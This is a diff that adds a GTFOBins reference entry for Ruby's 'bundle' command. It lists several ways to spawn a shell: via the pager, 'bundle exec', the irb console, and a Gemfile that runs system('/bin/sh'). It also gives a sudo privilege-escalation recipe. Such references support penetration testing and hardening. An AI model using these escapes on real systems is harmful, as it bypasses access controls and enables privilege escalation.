Add bundle (clone of bundler)

Close #333.

_gtfobins/bundle.md

@@ -0,0 +1,33 @@
+---
+functions:
+  shell:
+    - description: This invokes the default pager, which is likely to be  [`less`](/gtfobins/less/), other functions may apply.
+      code: |
+        bundle help
+        !/bin/sh
+    - code: |
+        export BUNDLE_GEMFILE=x
+        bundle exec /bin/sh
+    - code: |
+        TF=$(mktemp -d)
+        touch $TF/Gemfile
+        cd $TF
+        bundle exec /bin/sh
+    - description: This spawns an interactive shell via [`irb`](/gtfobins/irb/).
+      code: |
+        TF=$(mktemp -d)
+        touch $TF/Gemfile
+        cd $TF
+        bundle console
+        system('/bin/sh -c /bin/sh')
+    - code: |
+        TF=$(mktemp -d)
+        echo 'system("/bin/sh")' > $TF/Gemfile
+        cd $TF
+        bundle install
+  sudo:
+    - description: This invokes the default pager, which is likely to be  [`less`](/gtfobins/less/), other functions may apply.
+      code: |
+        sudo bundle help
+        !/bin/sh
+---